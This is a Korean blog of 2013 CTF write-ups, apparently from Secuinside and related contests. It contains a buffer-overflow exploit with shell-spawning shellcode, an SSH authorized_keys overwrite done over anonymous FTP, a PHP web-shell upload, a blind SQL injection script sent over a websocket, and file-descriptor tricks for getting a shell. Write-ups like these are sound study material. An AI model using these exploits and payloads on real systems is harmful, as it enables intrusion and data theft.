공격 순서는, ssh key 덮어씌우기 -> 버퍼오버플로우 이다.


로컬에서만 접속할수 있는 데몬이기때문에, 로컬의 쉘이 필요하다.

로컬 쉘을 얻을수 있는 방법으로는, ssh key를 서버에 올려놓으면, 비밀번호 없이 접근할 수 있다.


$ ssh-keygen -t rsa

로, public key와 private key를 만든후, private key 는 ~/.ssh/id_rsa 로 옮겨놓고,

public_key는 이름을 authorized_keys로 바꾸고 ftp를 이용해 서버로 업로드한다.


그래서 ftp로 접속을 한다. (annonymous로 접속하면 된다.)

그리고, active 모드로 변경한다. (서버는 대부분의 포트가 막혀있기때문에, passive 모드가 안먹힌다.)

그리고, /home/secu_ftpd/authorized_keys 를 덮어 씌운다.

그 후에 곧바로 ssh secu_ftpd@서버주소 를 통해서 로그인한다.


그러면 첫번째 관문은 통과했다.


그리고 나서는 NX,ASLR이 꺼져있기때문에, 조금 분석후에 간단한 공격을 한다. (사실 엄청 간단하지는 않고, 좀 까다로웠다.)


from socket import *
import sys
import time
 
fd = 4
shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7"
shellcode = shellcode.replace("\x41", chr(fd))
shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
 
for i in range(0x00,0xff,10):
        print hex(i)
        payload = ""
        payload += "\x90"*24
        payload += shellcode
        payload += "\x90"*3
        payload += (chr(i)+"\xf2\xff\xbf")*15
        s=socket(AF_INET,SOCK_STREAM)
        s.connect(('localhost',3132))
        while ">" not in s.recv(1024): pass
        time.sleep(0.0001)
        s.send(payload)
        s.send('id\n')
        try:
                get = s.recv(1024)
        except:
                get = ""
                print "except"
                s.close()
                continue
        if get.find('id') is not -1:
                while True:
                        cmd = raw_input('$ ')
                        if cmd == 'exit':
                                s.close()
                                break
                        s.send(cmd+'\n')
                        result = s.recv(1024)
                        print result
s.close()


'Computer Security > CTF' 카테고리의 다른 글

[HDCon 2013] 1번 문제 write up  (6) 2013.06.08
[CodeGate 2013] Vuln 200, exploit  (0) 2013.06.04
[Secuinside 2013] 127.0.0.1, write up  (0) 2013.05.26
[Secuinside 2013] PE time  (0) 2013.05.26
[Secuinside 2013] Secure Web, write up  (8) 2013.05.26
[Secuinside 2013] banking, write up  (1) 2013.05.26
posted by tunz
IDA로 열어본다.

...
 GetWindowTextA(::hWnd, &String, 128);
    SetWindowTextA(hWnd, &String);
    v16 = 5;
    do
    {
      String -= v16;
      String ^= 3u;
      --v16;
    }
    while ( v16 );
    v17 = 4;
    do
    {
      v23 -= v17;
      v23 ^= 4u;
      --v17;
    }
    while ( v17 );
    v18 = 3;
    do
    {
      v24 -= v18;
      v24 ^= 5u;
      --v18;
    }
    while ( v18 );
    v19 = 2;
    do
    {
      v25 -= v19;
      v25 ^= 6u;
      --v19;
    }
    while ( v19 );
    v20 = strcmp(&String, "C;@R");
    if ( v20 )
      v20 = -(v20 < 0) | 1;
    if ( v20 )
    {
      MessageBoxA(hWnd, ";;", "ohtahacker", 0);
      exit(0);
    }
    MessageBoxA(hWnd, "congratulation", "ohtahacker", 0);
...


어디선가 받은 문자를, 이상한 조작을 한 후, C;@R과 비교한다.


그러면, C;@R에 역조작을 해서 원래 문자를 알아낸다.


>>> chr((((((((((ord('C')^3)+1)^3)+2)^3)+3)^3)+4)^3)+5)

'S'

>>> chr((((((((ord(';')^4)+1)^4)+2)^4)+3)^4)+4)

'E'

>>> chr((((((ord('@')^5)+1)^5)+2)^5)+3)
'C'
>>> chr((((ord('R')^6)+1)^6)+2)
'U'

정답은 SECU


posted by tunz

300점 치고는 너무 쉬운 문제였다.


그냥 php 쉘파일 업로드해서 확인하면 된다.


아래와 같은 파일을 업로드한다.

<?
    system("ls -al /home/");
    system("cat /home/[???? 기억이 안남]/flags");
?>
<br/>
<br/>
<br/>
<br/>
...


그 후에, 

./uploads/[ip encoding]/파일이름

로 접근하면 끝.

posted by tunz
  • ??? 2013.05.27 23:22

    저도 저 방식으로 접근했는데 왜 안됬는지... ㅜㅜ

    주소창에 주소:포트/uploads/아이피인커더/shell.php


    이렇게 시도했는데 말이죠...ㅜㅜ

    • tunz 2013.05.28 10:28 신고

      아이피가 public ip여야 합니다.
      ipconfig을 쳐서 나오는 아이피가 아니고
      네이버나 어느 홈페이지에서 내 ip 보기를 했을때 나오는 아이피로 해야합니다.

      이것때문에 그런게 아닐까요

    • ??? 2013.05.28 20:20

      외부 아이피를 사용했습니다
      주소를 어떻게하셧는지 알수있을까요

    • tunz 2013.05.28 23:36 신고

      음... 그냥 ip주소를 md5 했었는데...
      왜그럴까요

  • ??? 2013.05.27 23:22

    저도 저 방식으로 접근했는데 왜 안됬는지... ㅜㅜ

    주소창에 주소:포트/uploads/아이피인커더/shell.php


    이렇게 시도했는데 말이죠...ㅜㅜ

  • ??? 2013.05.29 13:05

    뭔가 제가 말도안되는 실수를 했던지,
    아니면 문제 외부적 요인에 문제가 있었나봅니다 ㅜㅜ

    수고하시구 답해주셔서 감사합니다 ㅎㅎ

  • rubiya 2013.06.16 01:35

    저희팀이 풀때는 <? 와 system 등등 여러 필터링이 있어서 <script language=php> , highlight_file() 이런식으로 필터링을 우회해가면서 풀었는데 이게 어찌된 영문인지 모르겠네요ㅠㅠ

    • tunz 2013.06.17 17:31 신고

      어라 ... 필터링 될때 어떤 문구가 뜨나요???
      전 처음에 올릴땐 안올라가길래, 파일이 너무 작은가 해서
      뒤에 <br/>을 엄청나게 붙이고 다시 올리니까 됐던 기억이 나네요.

이번 문제의 핵심은 웹소켓을 이용한다는 점과, 그 후에는 간단한 블라인드 인젝션 문제이다.


웹소켓을 사용하기 위해선, 파이썬 웹소켓 모듈이 필요하다. 구글을 통해서 다운받는다.


그리고나면, desc와 asc를 넣어주는 부분이 있는데, 해당부분을 통해서 인젝션이 가능하다.


정렬을 할때, order by a desc, b asc

로 하게되면, a로 정렬한후, a가 같을때 b로 정렬하게 된다.

이 특징을 이용해서, by a desc, if(1=1,b,c) asc

로 넣어주게 되면 블라인드 인젝션이 가능하다.


상황에 따라 True와 False가 의미하는 결과가 다르기때문에, 주의해야한다.


from websocket import create_connection
import json
import pprint
import time
import sys
 
# Blind SQL injection
 
# setting
#toget = "database()"
#toget = "(select table_name from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61 limit "+sys.argv[1]+",1)"
#toget = "(select column_name from information_schema.columns where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
#toget = "(select table_schema from information_schema.tables where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
toget = "(select `flag` from flag_db.flag_tbl limit 0,1)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
ws = create_connection("ws://1.234.27.139:38090/banking?p=list")
 
answer = ""
length=0
j = 1
k = 0
m = 1
i = 0
while j <= stage:
        if j is 1:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(length("+toget+")="+str(k)+",`user`,`balance`) limit 0,1-- \"}"
        else:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=1,`user`,`balance`) limit 0,1-- \"}"
 
        ws.send(query)
        result = json.loads(ws.recv())
        pprint.pprint(result)
        result2 = json.loads(result["m"])
        #print result2[0]['user']
        if j is 1:
                print "now: "+str(k)
                if result2[0]['user'] == "!!":
                        length = k
                        print "[+] Length: " + str(length)
                        #print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                if result2[0]['user'] == "!!":
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                        else:
                                continue
                m = m+1
 
print "Answer:" +answer
ws.close()



posted by tunz

파일디스크립터 문제이다.


쉘에서,


$ ls > file


으로 할때, file에 명령어의 결과가 저장된다는것은 다들 알것이다. 사실 이건


$ ls 1>file


을 생략한 버전이다.


1번은 stdout을 의미한다. (쉘 화면에 출력되는것)

그외에 0번은 stdin이고, 2번은 stderr 이다.


문제를 보면, 5글자까지 system으로 실행을 시켜준다.

하지만, fork로 되어있기때문에, 출력 결과값이 우리에게 돌아오지는 않는다.

우리의 소켓번호는 4번으로 일정하다. (fork이기 때문에)


그렇다면,


ls>&4


를 치게되면, 그 결과값을 4번 디스크립터인, 연결되어있는 소켓에 쏴준다.

그러면 그 결과가 클라이언트에게 날아가게 된다.


대충 느낌이 왔으니, 이제 쉘을 실행한다. 쉘은 원래 0번 디스크립트인 stdin을 이용해서 입력을 하지만, 여기서는 소켓으로 입력을 하고 싶은 상황이다.

그렇다면,


sh<&4


를 치게되면, 쉘을 실행하고, 그 입력값은 소켓을 통해 전달한다는 의미이다.

하지만, 끝이 아니다. 그 결과값은 아직도 stdin으로 출력이 되는 상황이기때문에, 명령어를 실행할때 뒤에 >&4 를 붙여줘야한다.

결국 공격방법은


sh<&4

ls>&4

cat key>&4

posted by tunz
  • pwn 2013.07.05 22:34

    4앞에 &가 붙는 이유가 뭐에요?
    0이랑 1 역시 fd인데 요놈앞에는 안붙고 왜 저놈 앞에는 붙는지.. ㅠㅠ

    • tunz 2013.07.07 12:16 신고

      1이 들어간 자리엔 fd만 들어갈수 있는 자리인데,
      위에서 4가 들어간 자리는 파일 또는 fd 입니다.
      그래서 그냥 >4 를 해버리면 4라는 파일이 만들어지면서 거기에 결과값이 들어갈거구요 아마도..
      그래서 file과 착각하는걸 방지하기위해 &를 붙여서 fd라는걸 표시해줍니다


http 헤더중 range에 관한 문제이다.


Range의 bytes=x-y로 범위를 조작해주면,


응답페이지중 x번째부터 y번째까지의 바이트만을 출력해준다.


import httplib,urllib;
 
conn = httplib.HTTPConnection("119.70.231.180",80)
conn.connect()
conn.putrequest('GET','/secret_memo.txt')
conn.putheader('Connection','keep-alive')
conn.putheader('Range','bytes=100000000-100005000')
conn.endheaders()
response = conn.getresponse()
data = response.read()
print data


posted by tunz